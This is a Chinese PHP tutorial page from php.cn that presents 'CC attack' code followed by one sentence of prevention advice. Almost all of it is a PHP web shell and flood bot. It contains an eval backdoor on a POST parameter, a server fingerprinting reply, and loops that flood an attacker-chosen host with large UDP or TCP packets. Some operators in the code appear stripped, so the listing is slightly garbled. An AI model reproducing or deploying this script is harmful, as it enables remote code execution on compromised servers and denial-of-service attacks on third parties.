php cc攻擊程式碼 cc攻擊防範方法

WBOY
發布: 2016-07-25 08:54:25
原創
1380 人瀏覽過
  1. eval($_POST[Chr(90)]);
  2. set_time_limit(86400);
  3. ignore_user_abort(True);
  4. $packets = 0;
  5. $http = $_GET['http'];
  6. $rand = $_GET['exit'];
  7. $exec_time = $_GET['time'];
  8. if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
  9. {
  10. if(StrLen($_GET['rat'])<>0)
  11. {
  12. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13. exit;
  14. }
  15. echo "Php 2012 Terminator";
  16. exit;
  17. }
  18. for($i=0;$i<65535;$i )
  19. {
  20. $out .= "X";
  21. }
  22. //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
  23. $max_time = time() $exec_time;
  24. if($rand==53)
  25. while(1)
  26. {
  27. $packets ;
  28. if(time() > $max_time)
  29. {
  30. break;
  31. }
  32. $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
  33. if($fp)
  34. {
  35. fwrite($fp, $out);
  36. fclose($fp);
  37. }
  38. }
  39. else
  40. if($rand==500)
  41. while(1)
  42. {
  43. $packets ;
  44. if(time() > $max_time){
  45. break;
  46. }
  47. $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
  48. if($fp)
  49. {
  50. fwrite($fp, $out);
  51. fclose($fp);
  52. }
  53. }
  54. else
  55. while(1)
  56. {
  57. $packets ;
  58. if(time() > $max_time){
  59. break;
  60. }
  61. $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
  62. if($fp)
  63. {
  64. fwrite($fp, $out);
  65. fclose($fp);
  66. }
  67. }
  68. ?>
复制代码

对于cc攻击的防范,如果是动态页面,可以判断时间,如果是静态的网站,则需要服务器上安装防cc攻击的软件,一般服务器安全狗还是不错的。

对于php cc攻击的防范,要时刻注意。



來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!